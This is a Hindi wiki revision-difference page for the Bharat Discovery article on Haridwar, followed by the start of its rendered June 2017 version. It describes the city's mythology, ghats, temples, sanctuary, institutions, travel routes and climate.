"हरिद्वार" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - " मां " to " माँ ")
 
(8 सदस्यों द्वारा किये गये बीच के 27 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
[[चित्र:Haridwar.jpg|[[गंगा नदी]], हरिद्वार<br /> Ganga River, Haridwar|thumb|250px]]
+
{{सूचना बक्सा पर्यटन
हरिद्वार [[उत्तराखंड]] में स्थित [[भारत]] के सात सबसे पवित्र तीर्थ स्थलों में एक है। [[गंगा नदी]] के किनारे बसा हरिद्वार अर्थात हरि तक पहुंचने का द्वार है। हरिद्वार को धर्म की नगरी माना जाता है। सैकडों सालों से लोग मोक्ष की तलाश में इस पवित्र भूमि में आते रहे हैं। इस शहर की पवित्र नदी गंगा में डुबकी लगाने और अपने पापों का नाश करने के लिए साल भर श्रद्धालुओं का आना जाना यहाँ लगा रहता है। गंगा नदी पहाड़ी इलाकों को पीछे छोड़ती हुई हरिद्वार से ही मैदानी क्षेत्र में प्रवेश करती है। उत्तराखंड क्षेत्र के चार प्रमुख तीर्थस्थलों का प्रवेश द्वार हरिद्वार ही है। संपूर्ण हरिद्वार में सिद्धपीठ, शक्तिपीठ और अनेक नए पुराने मंदिर बने हुए हैं।
+
|चित्र=Har-Ki-Pauri-Haridwar.jpg
 +
|चित्र का नाम=हर की पौड़ी, हरिद्वार
 +
|विवरण='हरिद्वार' [[उत्तराखण्ड]] का प्रसिद्ध धार्मिक नगर है। यह नगर हिन्दुओं की धार्मिक आस्था का प्रमुख केन्द्र है। संपूर्ण हरिद्वार में सिद्धपीठ, [[शक्तिपीठ]] और अनेक नए पुराने मंदिर बने हुए हैं।
 +
|राज्य=[[उत्तराखण्ड]]
 +
|केन्द्र शासित प्रदेश=
 +
|ज़िला=हरिद्वार
 +
|निर्माता=
 +
|स्वामित्व=
 +
|प्रबंधक=
 +
|निर्माण काल=
 +
|स्थापना=
 +
|भौगोलिक स्थिति=
 +
|मार्ग स्थिति=
 +
|मौसम=
 +
|तापमान=
 +
|प्रसिद्धि=हिन्दू धार्मिक स्थल
 +
|कब जाएँ=[[सितम्बर]] से [[जून]]
 +
|कैसे पहुँचें=
 +
|हवाई अड्डा=जॉली ग्रांट हवाईअड्डा
 +
|रेलवे स्टेशन=हरिद्वार
 +
|बस अड्डा=
 +
|यातायात=
 +
|क्या देखें=[[हर की पौड़ी]], [[मनसा देवी मंदिर]], [[माया देवी शक्तिपीठ]] आदि।
 +
|कहाँ ठहरें=
 +
|क्या खायें=
 +
|क्या ख़रीदें=
 +
|एस.टी.डी. कोड=01334
 +
|ए.टी.एम=
 +
|सावधानी=
 +
|मानचित्र लिंक=
 +
|संबंधित लेख=
 +
|शीर्षक 1=पिनकोड
 +
|पाठ 1=249403
 +
|शीर्षक 2=वाहन पंजिकरण
 +
|पाठ 2=UK 08
 +
|अन्य जानकारी=[[भारत]] के पौराणिक ग्रंथों और [[उपनिषद|उपनिषदों]] में हरिद्वार को 'मायापुरी' कहा गया है। कहा जाता है [[समुद्र मंथन]] से प्राप्त किया गया अमृत यहाँ गिरा था। इसी कारण यहाँ [[कुंभ मेला|कुंभ का मेला]] आयोजित किया जाता है।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
 
 +
'''हरिद्वार''' [[उत्तराखंड]] में स्थित [[भारत]] के सात सबसे पवित्र तीर्थ स्थलों में से एक है। पवित्र [[गंगा नदी]] के किनारे बसे 'हरिद्वार' का शाब्दिक अर्थ है- 'हरि तक पहुँचने का द्वार'। यह शहर, पश्चिमोत्तर उत्तरांचल राज्य<ref>[[उत्तर प्रदेश]] से अलग कर नवगठित राज्य</ref>, [[उत्तरी भारत]] में स्थित है। हरिद्वार को "धर्म की नगरी" माना जाता है। सैकडों वर्षों से लोग मोक्ष की तलाश में इस पवित्र भूमि में आते रहे हैं। इस शहर की पवित्र नदी गंगा में डुबकी लगाने और अपने पापों का नाश करने के लिए वर्ष भर श्रद्धालुओं का आना-जाना यहाँ लगा रहता है। गंगा नदी पहाड़ी इलाकों को पीछे छोड़ती हुई हरिद्वार से ही मैदानी क्षेत्र में प्रवेश करती है। उत्तराखंड क्षेत्र के चार प्रमुख तीर्थ स्थलों का प्रवेश द्वार हरिद्वार ही है। संपूर्ण हरिद्वार में सिद्धपीठ, [[शक्तिपीठ]] और अनेक नए पुराने मंदिर बने हुए हैं।
 +
==प्राचीनता==
 +
'हरिद्वार' [[शिवालिक पहाड़ियाँ|शिवालिक पहाड़ियों]] के कोड में बसा हुआ [[हिन्दू धर्म]] के अनुयायियों का प्रसिद्ध प्राचीन तीर्थ स्थान है। यहाँ पहाड़ियों से निकल कर भागीरथी गंगा पहली बार मैदानी क्षेत्र में आती है। गंगा के उत्तरी भाग में बसे हुए '[[बदरीनाथ|बदरीनारायण]]' तथा '[[केदारनाथ]]' नामक भगवान [[विष्णु]] और [[शिव]] के प्रसिद्ध [[तीर्थ|तीर्थों]] के लिये इसी स्थान से मार्ग जाता है। इसीलिए इसे 'हरिद्वार' तथा 'हरद्वार' दोनों ही नामों से अभिहित किया जाता है। हरिद्वार का प्राचीन पौराणिक नाम 'माया' या 'मायापुरी' है, जिसकी सप्त मोक्षदायिनी पुरियों में गणना की जाती थी। हरिद्वार का एक भाग आज भी 'मायापुरी' नाम से प्रसिद्ध है। संभवतः माया का ही चीनी यात्री [[युवानच्वांग]] ने 'मयूर' नाम से वर्णन किया है। [[महाभारत]] में हरिद्वार को 'गंगाद्वार' कहा गया है। इस [[ग्रंथ]] में इस स्थान का प्रख्यात तीर्थों के साथ उल्लेख है।<ref>ऐतिहासिक स्थानावली से पेज संख्या 1007| विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार</ref> किन्तु हरिद्वार नाम भी अवश्य ही प्राचीन है, क्योंकि '[[हरिवंशपुराण]]' में 'हरद्वार' या 'हरिद्वार' का तीर्थ रूप में वर्णन है-
 +
 
 +
<blockquote>"हरिद्वारे कुशावर्ते नीलके भिल्लपर्वते। स्नात्वा कनखले तीर्थे पुनर्जन्म न विद्यते।"</blockquote>
 +
 
 +
इसी प्रकार '[[मत्स्यपुराण]]' में भी-
 +
 
 +
<blockquote>"सर्वत्र सुलभा गंगा त्रिपु स्थानेषु दंर्लभा, हरिद्वारे प्रयागे च गंगासागरसंगमें।"</blockquote>
  
==पौराणिक ग्रंथों के अनुसार==
 
[[भारत]] के पौराणिक ग्रंथों और उपनिषदों में हरिद्वार को मायापुरी कहा गया है। कहा जाता है [[समुद्र मंथन]] से प्राप्त किया गया अमृत यहाँ गिरा था। इसी कारण यहाँ [[कुंभ मेला|कुंभ का मेला]] आयोजित किया जाता है। बारह वर्ष में आयोजित होने वाले कुंभ के मेले का यह महत्त्वपूर्ण स्थल है। पिछला कुंभ का मेला [[1998]] में आयोजित किया गया था। अगला कुंभ का मेला [[2010]] में यहाँ आयोजित किया जाएगा। हरिद्वार में ही राजा [[धृतराष्ट्र]] के मन्त्री [[विदुर]] ने [[मैत्री]] मुनि के यहाँ अध्ययन किया था। [[कपिल मुनि]] ने भी यहाँ तपस्या की थी। [[चित्र:Aarti-Kumbh-Mela-Haridwar.jpg|thumb|250px|left|आरती [[कुंभ मेला]], हरिद्वार<br /> Aarti Kumbh Mela, Haridwar]] इसलिए इस स्थान को कपिलास्थान भी कहा जाता है। कहा जाता है कि राजा श्वेत ने हर की पौड़ी में भगवान [[ब्रह्मा]] की पूजा की थी। राजा की भक्ति से प्रसन्न होकर ब्रह्मा ने जब वरदान मांगने को कहा तो राजा ने वरदान मांगा कि इस स्थान को ईश्वर के नाम से जाना जाए। तब से हर की पौड़ी के [[जल]] को ब्रह्मकुण्ड के नाम से भी जाना जाता है।
 
==हर की पौड़ी==
 
यह स्थान भारत के सबसे पवित्र घाटों में एक है। कहा जाता है कि यह घाट विक्रमादित्य ने अपने भाई भतृहरि की याद में बनवाया था। इस घाट को ब्रह्मकुण्ड के नाम से भी जाना जाता है। वैसे तो गंगा में नहाने को ही मोक्ष देने वाला माना जाता है लेकिन किंवदन्ती है कि हर की पौडी में स्नान करने से जन्म जन्म के पाप धुल जाते हैं। शाम के वक़्त यहाँ महाआरती आयोजित की जाती है। गंगा नदी में बहते असंख्य सुनहरे दीपों की आभा यहाँ बेहद आकर्षक लगती है। हरिद्वार की सबसे अनोखी चीज है शाम होने वाली गंगा की आरती। हर शाम हज़ारों दीपकों के साथ गंगा की आरती की जाती है। पानी में दिखाई देती दीयों की रोशनी हज़ारों टिमटिमाते तारों की तरह लगती है। हरिद्वार में बहुत सारे मंदिर और आश्रम हैं ।
 
  
 +
किंतु युवानच्वांग के समय तक (7वीं शती ई.) 'हरद्वार' का 'मायापुरी' नाम ही अधिक प्रचलित था। [[मध्य काल]] में इस स्थान की कई प्राचीन बस्तियों को, जिनमें 'मायापुरी', '[[कनखल]]', 'ज्वालापुर' और 'भीमगोड़ा' मुख्य हैं, सामूहिक रूप से 'हरिद्वार' कहा जाने लगा था। हरिद्वार का सदा से ही [[ऋषि|ऋषियों]] की तपोभूमि माना जाता रहा है। कहा जाता है कि स्वर्गारोहण से पूर्व देवी लक्ष्मी ने 'लक्ष्मण झूला' स्थान के निकट तपस्या की थी।
 +
==पौराणिक उल्लेख==
 +
[[भारत]] के पौराणिक ग्रंथों और उपनिषदों में हरिद्वार को 'मायापुरी' कहा गया है। कहा जाता है [[समुद्र मंथन]] से प्राप्त किया गया अमृत यहाँ गिरा था। इसी कारण यहाँ [[कुंभ मेला|कुंभ का मेला]] आयोजित किया जाता है। बारह वर्ष में आयोजित होने वाले कुंभ के मेले का यह महत्त्वपूर्ण स्थल है। पिछला कुंभ का मेला [[1998]] में आयोजित किया गया था। अगला कुंभ का मेला [[2010]] में यहाँ आयोजित किया ग्या था। हरिद्वार में ही राजा [[धृतराष्ट्र]] के मन्त्री [[विदुर]] ने [[मैत्री]] मुनि के यहाँ अध्ययन किया था। [[कपिल मुनि]] ने भी यहाँ तपस्या की थी। [[चित्र:Aarti-Kumbh-Mela-Haridwar.jpg|thumb|250px|left|आरती [[कुंभ मेला]], हरिद्वार<br /> Aarti Kumbh Mela, Haridwar]] इसलिए इस स्थान को कपिलास्थान भी कहा जाता है। कहा जाता है कि राजा श्वेत ने हर की पौड़ी में भगवान [[ब्रह्मा]] की पूजा की थी। राजा की भक्ति से प्रसन्न होकर ब्रह्मा ने जब वरदान मांगने को कहा तो राजा ने वरदान मांगा कि इस स्थान को ईश्वर के नाम से जाना जाए। तब से हर की पौड़ी के [[जल]] को ब्रह्मकुण्ड के नाम से भी जाना जाता है।
 +
==धार्मिक स्थल==
 +
====हर की पौड़ी====
 +
{{main|हर की पौड़ी}}
 +
यह स्थान भारत के सबसे पवित्र घाटों में एक है। कहा जाता है कि यह घाट विक्रमादित्य ने अपने भाई भतृहरि की याद में बनवाया था। इस घाट को 'ब्रह्मकुण्ड' के नाम से भी जाना जाता है। वैसे तो गंगा में नहाने को ही मोक्ष देने वाला माना जाता है लेकिन किंवदन्ती है कि हर की पौडी में [[स्नान]] करने से जन्म जन्म के पाप धुल जाते हैं। शाम के वक़्त यहाँ महाआरती आयोजित की जाती है। [[गंगा नदी]] में बहते असंख्य सुनहरे दीपों की आभा यहाँ बेहद आकर्षक लगती है। हरिद्वार की सबसे अनोखी चीज़ है शाम होने वाली गंगा की आरती। हर शाम हज़ारों दीपकों के साथ गंगा की आरती की जाती है। पानी में दिखाई देती दीयों की रोशनी हज़ारों टिमटिमाते तारों की तरह लगती है। हरिद्वार में बहुत सारे मंदिर और आश्रम हैं।
 
==मनसा देवी का मंदिर==
 
==मनसा देवी का मंदिर==
 
{{Main|मनसा देवी मंदिर}}
 
{{Main|मनसा देवी मंदिर}}
 
[[चित्र:Haridwar-Map.gif|हरिद्वार का मानचित्र<br /> Haridwar Map|thumb]]
 
[[चित्र:Haridwar-Map.gif|हरिद्वार का मानचित्र<br /> Haridwar Map|thumb]]
हर की पौडी के पीछे के बलवा पर्वत की चोटी पर मनसा देवी का मंदिर बना है। मंदिर तक जाने के लिए पैदल रास्ता है। मंदिर जाने के लिए रोप वे भी है। पहाड़ की चोटी से हरिद्वार का ख़ूबसूरत नजारा देखा जा सकता है। देवी मनसा देवी की एक प्रतिमा के तीन मुख और पांच भुजाएं हैं जबकि अन्य प्रतिमा की आठ भुजाएं हैं।
+
हर की पौडी के पीछे के बलवा पर्वत की चोटी पर मनसा देवी का मंदिर बना है। मंदिर तक जाने के लिए पैदल रास्ता है। मंदिर जाने के लिए रोप वे भी है। पहाड़ की चोटी से हरिद्वार का ख़ूबसूरत नज़ारा देखा जा सकता है। देवी मनसा देवी की एक प्रतिमा के तीन मुख और पांच भुजाएं हैं जबकि अन्य प्रतिमा की आठ भुजाएं हैं।
 
+
==चंडी देवी मंदिर==
==चंडी देवी मंदिर==  
+
{{Main|चंडी देवी मंदिर, हरिद्वार}}
गंगा नदी के दूसरी ओर नील पर्वत पर यह मंदिर बना हुआ है। यह मंदिर [[कश्मीर]] के राजा सुचेत सिंह द्वारा 1929 ई. में बनवाया गया था। कहा जाता है कि [[शंकराचार्य|आदिशंकराचार्य]] ने आठवीं शताब्दी में चंडी देवी की मूल प्रतिमा यहाँ स्थापित करवाई थी। किवदंतियों के अनुसार [[चंडी]] देवी ने [[शुंभ]] निशुंभ के सेनापति चंद और मुंड को यही मारा था। चंडीघाट से 3 किलोमिटर. की ट्रैकिंग के बाद यहाँ पहुंचा जा सकता है। अब इस मंदिर के लिए भी रोप वे भी बना दिया गया है। रोप वे के बाद बडी संख्या में लोग मंदिर में जाने लगे हैं।
+
गंगा नदी के दूसरी ओर नील पर्वत पर यह मंदिर बना हुआ है। यह मंदिर [[कश्मीर]] के राजा सुचेत सिंह द्वारा 1929 ई. में बनवाया गया था। कहा जाता है कि [[शंकराचार्य|आदिशंकराचार्य]] ने आठवीं शताब्दी में चंडी देवी की मूल प्रतिमा यहाँ स्थापित करवाई थी। किवदंतियों के अनुसार [[चंडी]] देवी ने [[शुंभ]] निशुंभ के सेनापति चंद और मुंड को यहीं मारा था। चंडीघाट से 3 किलोमीटर की ट्रैकिंग के बाद यहाँ पहुंचा जा सकता है। अब इस मंदिर के लिए भी रोप वे भी बना दिया गया है। रोप वे के बाद बडी संख्या में लोग मंदिर में जाने लगे हैं।
 
 
 
==माया देवी मंदिर==
 
==माया देवी मंदिर==
माया देवी मंदिर भारत के प्रमुख शक्तिपीठों में एक है। मायादेवी हरिद्वार की अधिष्ठात्री देवी हैं। कहा जाता है कि [[शिव]] की पत्नी [[सती]] का [[हृदय]] और नाभि यहीं गिरा था।
+
{{main|माया देवी शक्तिपीठ}}
 +
[[चित्र:Maya-Devi-Temple-Haridwar.jpg|thumb|200px|[[माया देवी शक्तिपीठ]]]]
 +
माया देवी मंदिर [[भारत]] के प्रमुख [[शक्तिपीठ|शक्तिपीठों]] में एक है। कहा जाता है कि [[शिव]] की पत्नी [[सती]] का [[हृदय]] और नाभि यहीं गिरा था। माया देवी को हरिद्वार की अधिष्ठात्री देवी माना जाता है, जिसका इतिहास 11 [[शताब्दी]] से उपलब्ध है। मंदिर के बगल में 'आनंद भैरव का मंदिर' भी है। पर्व-त्योहारों के समय बड़ी संख्या में श्रद्धालु माया देवी मंदिर के दर्शन करने को पहुंचते हैं। प्राचीन काल से माया देवी मंदिर में देवी की पिंडी विराजमान है और 18वीं शताब्दी में इस मंदिर में देवी की मूर्तियों की प्राण प्रतिष्ठा की गई। इस मंदिर में धार्मिक अनुष्ठान के साथ ही तंत्र साधना भी की जाती है। हरिद्वार में भगवती की नाभि गिरी थी, इसलिए इस स्थान को [[ब्रह्मांड]] का केंद्र भी माना जाता है। हरिद्वार की रक्षा के लिए एक अद्भुत त्रिकोण विद्यमान है। इस त्रिकोण के दो बिंदु पर्वतों पर माँ मनसा और माँ चंडी रक्षा कवच के रूप में स्थित हैं तो वहीं त्रिकोण का शिखर धरती की ओर है और उसी अधोमुख शिखर पर भगवती माया आसीन हैं।
 
==सप्तऋषि आश्रम==
 
==सप्तऋषि आश्रम==
इस आश्रम के सामने गंगा नदी सात धाराओं में बहती है इसलिए इस स्थान को सप्त सागर भी कहा जाता है। माना जाता है कि जब गंगा नदी बहती हुई आ रही थीं तो यहाँ सात ऋषि गहन तपस्या में लीन थे। गंगा ने उनकी तपस्या में विघ्न नहीं डाला और स्वयं को सात हिस्सों में विभाजित कर अपना मार्ग बदल लिया। इसलिए इसे सप्‍त सागर भी कहा जाता है।
+
इस आश्रम के सामने गंगा नदी सात धाराओं में बहती है इसलिए इस स्थान को सप्त सागर भी कहा जाता है। माना जाता है कि जब गंगा नदी बहती हुई आ रही थीं तो यहाँ सात ऋषि गहन तपस्या में लीन थे। गंगा ने उनकी तपस्या में विघ्न नहीं डाला और स्वयं को सात हिस्सों में विभाजित कर अपना मार्ग बदल लिया। इसलिए इसे 'सप्‍त सागर' भी कहा जाता है।
 
[[चित्र:Daksh-Mahadev-Temple-Haridwar-1.jpg|thumb|left|दक्ष महादेव मंदिर, हरिद्वार<br /> Daksh Mahadev Temple, Haridwar]]
 
[[चित्र:Daksh-Mahadev-Temple-Haridwar-1.jpg|thumb|left|दक्ष महादेव मंदिर, हरिद्वार<br /> Daksh Mahadev Temple, Haridwar]]
 
==दक्ष महादेव मंदिर==
 
==दक्ष महादेव मंदिर==
 +
{{main|दक्ष महादेव मंदिर, हरिद्वार}}
 
यह प्राचीन मंदिर नगर के दक्षिण में स्थित है। सती के पिता राजा [[दक्ष]] की याद में यह मंदिर बनवाया गया है। किवदंतियों के अनुसार सती के [[पिता]] राजा दक्ष ने यहाँ एक विशाल यज्ञ का आयोजन किया था। यज्ञ में उन्होंने [[शिव]] को नहीं आमन्त्रित किया। अपने पति का अपमान देख सती ने [[यज्ञ]] कुण्ड में आत्मदाह कर लिया। इससे शिव के अनुयायी गण उत्तेजित हो गए और दक्ष को मार डाला। बाद में शिव ने उन्हें पुनर्जीवित कर दिया।
 
यह प्राचीन मंदिर नगर के दक्षिण में स्थित है। सती के पिता राजा [[दक्ष]] की याद में यह मंदिर बनवाया गया है। किवदंतियों के अनुसार सती के [[पिता]] राजा दक्ष ने यहाँ एक विशाल यज्ञ का आयोजन किया था। यज्ञ में उन्होंने [[शिव]] को नहीं आमन्त्रित किया। अपने पति का अपमान देख सती ने [[यज्ञ]] कुण्ड में आत्मदाह कर लिया। इससे शिव के अनुयायी गण उत्तेजित हो गए और दक्ष को मार डाला। बाद में शिव ने उन्हें पुनर्जीवित कर दिया।
==गुरुकुल कांगडी विश्वविद्यालय==
+
====चीला वन्यजीव अभयारण्य====
यह विश्वविद्यालय शिक्षा का एक प्रमुख केन्द्र है। यहाँ पारंपरिक भारतीय पद्धति से शिक्षा प्रदान की जाती है। विश्वविद्यालय के परिसर में वेद मंदिर बना हुआ है। यहाँ पुरातत्त्व संबंधी अनेक वस्तुएं देखी जा सकती हैं। यह विश्वविद्यालय हरिद्वार-ज्वालापुर बाईपास रोड़ पर स्थित है।
+
प्रकृति प्रेमियों के लिए हरिद्वार में राजाजी नेशनल पार्क भी है। राजाजी राष्ट्रीय पार्क के अन्तर्गत यह अभयारण्य आता है जो लगभग 240 वर्ग किलोमीटर के क्षेत्र में फैला हुआ है। यहाँ 23 स्तनपायी और 315 वन्य जीवों की प्रजातियाँ पाई जाती हैं। यहाँ [[हाथी]], टाइगर, [[तेंदुआ]], जंगली बिल्ली, सांभर, [[चीतल]], बार्किग डि‍यर, लंगूर आदि जानवर हैं। अनुमति लेकर यहाँ फिशिंग का भी आनंद लिया जा सकता है।
==चीला वन्यजीव अभयारण्य==
+
==शिक्षण संस्थान==
प्रकृति प्रेमियों के लिए हरिद्वार में राजाजी नेशनल पार्क भी है। राजाजी राष्ट्रीय पार्क के अन्तर्गत यह अभयारण्य आता है जो लगभग 240 वर्ग किलोमिटर के क्षेत्र में फैला हुआ है। यहाँ 23 स्तनपायी और 315 वन्य जीवों की प्रजातिया पाई जाती हैं। यहाँ [[हाथी]], टाइगर, [[तेंदुआ]], जंगली बिल्ली, सांभर, [[चीतल]], बार्किग डि‍यर, लंगूर आदि जानवर हैं। अनुमति लेकर यहाँ फिशिंग का भी आनंद लिया जा सकता है।
+
यहाँ पर रुड़की विश्वविद्यालय<ref> [[एशिया]] का सबसे पुराना सिविल इंजीनियरिंग कॉलेज</ref>, सरकारी आयुर्वेदिक कॉलेज और ॠषिकुल आयुर्वेदिक कॉलेज सहित अनेक कॉलेज हैं। यहाँ पर प्रसिद्ध [[गुरुकुल कांगड़ी विश्वविद्यालय]] भी है।
{{लेख प्रगति  
+
====गुरुकुल कांगडी विश्वविद्यालय====
|आधार=  
+
[[चित्र:Haridwar.jpg|[[गंगा नदी]], हरिद्वार<br /> Ganga River, Haridwar|thumb|250px]]
|प्रारम्भिक=प्रारम्भिक2  
+
{{main|गुरुकुल कांगड़ी विश्वविद्यालय}}
|माध्यमिक=  
+
यह विश्वविद्यालय शिक्षा का एक प्रमुख केन्द्र है। यहाँ पारंपरिक भारतीय पद्धति से शिक्षा प्रदान की जाती है। विश्वविद्यालय के परिसर में वेद मंदिर बना हुआ है। यहाँ [[पुरातत्त्व]] संबंधी अनेक वस्तुएं देखी जा सकती हैं। यह विश्वविद्यालय हरिद्वार-ज्वालापुर बाईपास रोड़ पर स्थित है।
|पूर्णता=  
+
==कैसे पहुँचें==
|शोध=
+
*यात्री वायुमार्ग, रेलमार्ग या सड़कमार्ग द्वारा हरिद्वार पहुँच सकते हैं। इस स्थान का सबसे निकटतम घरेलू हवाई अड्डा 'जॉली ग्रांट हवाईअड्डा' है, जो लगभग 20 कि.मी. दूर स्थित है। यह [[दिल्ली]] के 'इंदिरा गांधी अंतर्राष्ट्रीय हवाईअड्डे' से भी नियमित उड़ानों द्वारा जुड़ा हुआ है।
}}
+
*सबसे निकटतम रेलवे स्टेशन हरिद्वार रेलवे स्टेशन है, जो [[भारत]] के सभी मुख्य शहरों से जुड़ा हुआ है।
 +
*देश के विभिन्न भागों से बसों द्वारा भी यहाँ पहुंचा जा सकता है। इसके अलावा [[नई दिल्ली]] से हरिद्वार के लिए नियमित अंतराल पर डीलक्स बसें उपलब्ध हैं।
 +
==मौसम==
 +
हरिद्वार में गर्मियों में गर्मी एवं सर्दियों में अत्यधिक ठंड पड़ती है और [[मानसून]] में वातावरण में आद्रता होती है। हरिद्वार में भ्रमण के लिये मानसून अच्छा समय नहीं है, क्योंकि इस दौरान मौसम बहुत असुविधाजनक होता है। हरिद्वार में भ्रमण करने के लिए [[सितम्बर]] से लेकर [[जून]] की बीच का समय सबसे उपयुक्त है, क्योंकि इस समय यहाँ [[मौसम]] सुहावना होता है।
 +
==जनसंख्या==
 +
हरिद्वार की जनसंख्या [[2001]] की [[जनगणना]] के अनुसार 1,75,010 है। और हरिद्वार ज़िले की कुल जनसंख्या 14,44,213 है।
 +
 
 +
 
 +
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध=}}
 
==वीथिका==
 
==वीथिका==
 
<gallery>
 
<gallery>
 +
चित्र:Ganga-River-Haridwar-17.jpg|[[गंगा नदी]], हरिद्वार
 
चित्र:Haridwar1.jpg|[[गंगा नदी]], हरिद्वार  
 
चित्र:Haridwar1.jpg|[[गंगा नदी]], हरिद्वार  
 
चित्र:Jain-Temple-Haridwar.jpg|जैन मंदिर, हरिद्वार  
 
चित्र:Jain-Temple-Haridwar.jpg|जैन मंदिर, हरिद्वार  
 
चित्र:Haridwar2.jpg|[[गंगा नदी]], हरिद्वार  
 
चित्र:Haridwar2.jpg|[[गंगा नदी]], हरिद्वार  
 
चित्र:Statue-Shiva.jpg|भगवान [[शिव]] की मूर्ति, हरिद्वार
 
चित्र:Statue-Shiva.jpg|भगवान [[शिव]] की मूर्ति, हरिद्वार
 +
चित्र:Haridwar-1.jpg|हर की पौड़ी, हरिद्वार
 +
चित्र:Ganga-Aarti-haridwar.jpg|[[गंगा नदी]] आरती हरिद्वार
 +
चित्र:Haridwar-7.jpg|[[गंगा नदी]], हरिद्वार
 +
चित्र:Evening-Puja-in-Haridwar.jpg|[[गंगा नदी]] आरती हरिद्वार
 +
चित्र:Haridwar-6.jpg|[[गंगा नदी]], हरिद्वार
 +
चित्र:Haridwar-Ghat.jpg|हरिद्वार घाट 
 +
चित्र:Ganga-River-Haridwar-18.jpg|[[गंगा नदी]], हरिद्वार
 
</gallery>
 
</gallery>
  
 +
==टीका टिप्पणी और संदर्भ==
 +
<references/>
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
*[http://haridwar.nic.in/ अधिकारिक वेबसाइट]
 
*[http://haridwar.nic.in/ अधिकारिक वेबसाइट]
 
*[http://www.youtube.com/watch?v=H7nhCTmEq5s&feature=player_embedded गंगा आरती विडियो]
 
*[http://www.youtube.com/watch?v=H7nhCTmEq5s&feature=player_embedded गंगा आरती विडियो]
 
 
==संबंधित लेख==
 
==संबंधित लेख==
{{उत्तराखंड}}{{उत्तराखंड के पर्यटन स्थल}}
+
{{उत्तराखंड के पर्यटन स्थल}}{{उत्तराखंड के नगर}}{{सप्तपुरी}}
{{उत्तराखंड के नगर}}
+
[[Category:उत्तराखंड]][[Category:उत्तराखंड के नगर]][[Category:पर्यटन कोश]][[Category:उत्तराखंड के धार्मिक स्थल]][[Category:उत्तराखंड के पर्यटन स्थल]][[Category:धार्मिक स्थल कोश]][[Category:हिन्दू धार्मिक स्थल]][[Category:हिन्दू धर्म कोश]]
{{सप्तपुरी}}{{भारत के मुख्य पर्यटन स्थल}}
 
[[Category:उत्तराखंड]]
 
[[Category:उत्तराखंड के नगर]]
 
[[Category:पर्यटन कोश]]  
 
[[Category:उत्तराखंड के धार्मिक स्थल]]
 
[[Category:उत्तराखंड के पर्यटन स्थल]]
 
 
 
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__
 +
{{सुलेख}}

14:09, 2 जून 2017 के समय का अवतरण

हरिद्वार
हर की पौड़ी, हरिद्वार
विवरण 'हरिद्वार' उत्तराखण्ड का प्रसिद्ध धार्मिक नगर है। यह नगर हिन्दुओं की धार्मिक आस्था का प्रमुख केन्द्र है। संपूर्ण हरिद्वार में सिद्धपीठ, शक्तिपीठ और अनेक नए पुराने मंदिर बने हुए हैं।
राज्य उत्तराखण्ड
ज़िला हरिद्वार
प्रसिद्धि हिन्दू धार्मिक स्थल
कब जाएँ सितम्बर से जून
हवाई अड्डा जॉली ग्रांट हवाईअड्डा
रेलवे स्टेशन हरिद्वार
क्या देखें हर की पौड़ी, मनसा देवी मंदिर, माया देवी शक्तिपीठ आदि।
एस.टी.डी. कोड 01334
पिनकोड 249403
वाहन पंजिकरण UK 08
अन्य जानकारी भारत के पौराणिक ग्रंथों और उपनिषदों में हरिद्वार को 'मायापुरी' कहा गया है। कहा जाता है समुद्र मंथन से प्राप्त किया गया अमृत यहाँ गिरा था। इसी कारण यहाँ कुंभ का मेला आयोजित किया जाता है।

हरिद्वार उत्तराखंड में स्थित भारत के सात सबसे पवित्र तीर्थ स्थलों में से एक है। पवित्र गंगा नदी के किनारे बसे 'हरिद्वार' का शाब्दिक अर्थ है- 'हरि तक पहुँचने का द्वार'। यह शहर, पश्चिमोत्तर उत्तरांचल राज्य[1], उत्तरी भारत में स्थित है। हरिद्वार को "धर्म की नगरी" माना जाता है। सैकडों वर्षों से लोग मोक्ष की तलाश में इस पवित्र भूमि में आते रहे हैं। इस शहर की पवित्र नदी गंगा में डुबकी लगाने और अपने पापों का नाश करने के लिए वर्ष भर श्रद्धालुओं का आना-जाना यहाँ लगा रहता है। गंगा नदी पहाड़ी इलाकों को पीछे छोड़ती हुई हरिद्वार से ही मैदानी क्षेत्र में प्रवेश करती है। उत्तराखंड क्षेत्र के चार प्रमुख तीर्थ स्थलों का प्रवेश द्वार हरिद्वार ही है। संपूर्ण हरिद्वार में सिद्धपीठ, शक्तिपीठ और अनेक नए पुराने मंदिर बने हुए हैं।

प्राचीनता

'हरिद्वार' शिवालिक पहाड़ियों के कोड में बसा हुआ हिन्दू धर्म के अनुयायियों का प्रसिद्ध प्राचीन तीर्थ स्थान है। यहाँ पहाड़ियों से निकल कर भागीरथी गंगा पहली बार मैदानी क्षेत्र में आती है। गंगा के उत्तरी भाग में बसे हुए 'बदरीनारायण' तथा 'केदारनाथ' नामक भगवान विष्णु और शिव के प्रसिद्ध तीर्थों के लिये इसी स्थान से मार्ग जाता है। इसीलिए इसे 'हरिद्वार' तथा 'हरद्वार' दोनों ही नामों से अभिहित किया जाता है। हरिद्वार का प्राचीन पौराणिक नाम 'माया' या 'मायापुरी' है, जिसकी सप्त मोक्षदायिनी पुरियों में गणना की जाती थी। हरिद्वार का एक भाग आज भी 'मायापुरी' नाम से प्रसिद्ध है। संभवतः माया का ही चीनी यात्री युवानच्वांग ने 'मयूर' नाम से वर्णन किया है। महाभारत में हरिद्वार को 'गंगाद्वार' कहा गया है। इस ग्रंथ में इस स्थान का प्रख्यात तीर्थों के साथ उल्लेख है।[2] किन्तु हरिद्वार नाम भी अवश्य ही प्राचीन है, क्योंकि 'हरिवंशपुराण' में 'हरद्वार' या 'हरिद्वार' का तीर्थ रूप में वर्णन है-

"हरिद्वारे कुशावर्ते नीलके भिल्लपर्वते। स्नात्वा कनखले तीर्थे पुनर्जन्म न विद्यते।"

इसी प्रकार 'मत्स्यपुराण' में भी-

"सर्वत्र सुलभा गंगा त्रिपु स्थानेषु दंर्लभा, हरिद्वारे प्रयागे च गंगासागरसंगमें।"


